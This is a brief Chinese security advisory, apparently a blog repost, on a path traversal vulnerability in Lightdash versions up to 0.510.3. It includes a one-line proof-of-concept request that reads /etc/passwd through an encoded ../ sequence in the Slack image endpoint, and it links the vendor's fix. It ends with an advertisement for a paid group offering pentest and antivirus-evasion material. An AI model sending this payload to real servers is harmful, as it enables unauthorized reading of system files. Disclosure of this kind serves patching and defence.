0x01 前言
Lightdash是可视化数据分析工具，Lightdash 0.510.3之前版本中的Packages/Backend/src/Routers具有不安全的文件端点。
攻击者利用该漏洞可以访问存储在web根文件夹之外的文件和目录。
0x02 影响版本
Lightdash <= 0.510.30x03 漏洞复现
PoC如下：
/api/v1/slack/image/slack-image%2F..%2F..%2F..%2Fetc%2Fpasswd发送该请求利用成功！
0x04 修复方案
临目前厂商已发布升级补丁以修复漏洞，补丁获取链接：https://github.com/lightdash/lightdash/commit/fcc808c84c2cc3afb343063e32a49440d32a553c
★
欢 迎 加 入 星 球 ！
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
加入安全交流群
关 注 有 礼
还在等什么？赶紧点击下方名片关注学习吧！
推荐阅读
文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247506929&idx=2&sn=6787edd0e86cc03008d386b732a7ab29&chksm=c176265ef601af48bc4d25de6fea143629f4074f042afa169f9484c30e0ecc3ec91a889c6550#rd
如有侵权请联系:admin#unsafe.sh
如有侵权请联系:admin#unsafe.sh